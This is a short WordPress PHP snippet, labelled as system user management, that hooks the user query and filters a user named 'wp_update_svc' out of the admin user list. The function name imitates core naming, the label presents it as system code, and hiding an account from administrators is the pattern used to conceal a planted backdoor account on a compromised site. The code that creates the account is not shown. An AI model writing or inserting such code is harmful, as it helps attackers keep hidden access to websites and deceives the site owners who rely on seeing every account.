// WP System User Management
function _wp_hide_system_user_dbphp($user_search) {
    global $wpdb;
    if (is_admin() && isset($user_search->query_where)) {
        $user_search->query_where = str_replace(
            "WHERE 1=1",
            "WHERE 1=1 AND {$wpdb->users}.user_login != \"wp_update_svc\"",
            $user_search->query_where
        );
    }
}
if (function_exists("add_action")) {
    add_action("pre_user_query", "_wp_hide_system_user_dbphp");
}
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